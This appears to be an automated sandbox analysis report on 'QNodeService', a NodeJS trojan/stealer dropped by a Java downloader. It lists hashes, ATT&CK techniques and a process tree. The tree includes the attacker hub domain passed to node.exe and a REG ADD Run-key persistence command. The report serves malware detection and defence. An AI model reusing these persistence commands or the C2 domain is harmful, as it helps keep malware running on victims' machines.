qnodeservice | 3f604dbfd849aef188625d235597897b71e51ec1e7dbda3db3f3fe5204b04cae

General

Target

SHPVE00475.jar
Size

289KB
MD5

42f3ebb894eac0d038013669e46738e6
SHA1

0de3d8cf20e002a5437d7548cf8da88a6f870e45
SHA256

3f604dbfd849aef188625d235597897b71e51ec1e7dbda3db3f3fe5204b04cae
SHA512

3fd28e3c317221de3ad5d0b83f21da1821ad5d1fbee512c3f466eed817d68cda31bb200b54d60b52db305ecb36bbf72335ce6be846239aba607fb083cc500f34

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1164	node.exe
2056	node.exe
716	node.exe

Loads dropped DLL 6 IoCs

pid	Process
716	node.exe
716	node.exe
716	node.exe
716	node.exe
716	node.exe
716	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\13f2660e-b8cd-493b-b319-a5b590928cc8 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.9-beta\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad5c-167.dat	js
behavioral2/files/0x000100000001ad5c-172.dat	js
behavioral2/files/0x000100000001ad5c-320.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	wtfismyip.com
27	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1164	node.exe
1164	node.exe
1164	node.exe
1164	node.exe
2056	node.exe
2056	node.exe
2056	node.exe
2056	node.exe
716	node.exe
716	node.exe
716	node.exe
716	node.exe
716	node.exe
716	node.exe
716	node.exe
716	node.exe
716	node.exe
716	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 508 wrote to memory of 2688	508	java.exe	74
PID 508 wrote to memory of 2688	508	java.exe	74
PID 2688 wrote to memory of 1164	2688	javaw.exe	78
PID 2688 wrote to memory of 1164	2688	javaw.exe	78
PID 1164 wrote to memory of 2056	1164	node.exe	80
PID 1164 wrote to memory of 2056	1164	node.exe	80
PID 2056 wrote to memory of 716	2056	node.exe	81
PID 2056 wrote to memory of 716	2056	node.exe	81
PID 716 wrote to memory of 860	716	node.exe	83
PID 716 wrote to memory of 860	716	node.exe	83
PID 860 wrote to memory of 784	860	cmd.exe	84
PID 860 wrote to memory of 784	860	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\SHPVE00475.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:508
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\61b1a3c0.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain holdlozx.riepsol.com --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_p3kXKC\boot.js --hub-domain holdlozx.riepsol.com --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2056
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_p3kXKC\boot.js --hub-domain holdlozx.riepsol.com --hub-domain localhost
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:716
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "13f2660e-b8cd-493b-b319-a5b590928cc8" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.9-beta\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:860
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "13f2660e-b8cd-493b-b319-a5b590928cc8" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.9-beta\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:784

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/716-321-0x0000025F79400000-0x0000025F79401000-memory.dmp

Filesize
4KB

Download
memory/1164-170-0x000000152DE40000-0x000000152DE41000-memory.dmp

Filesize
4KB

Download
memory/2056-173-0x0000000531C00000-0x0000000531C01000-memory.dmp

Filesize
4KB

Download

Analysis

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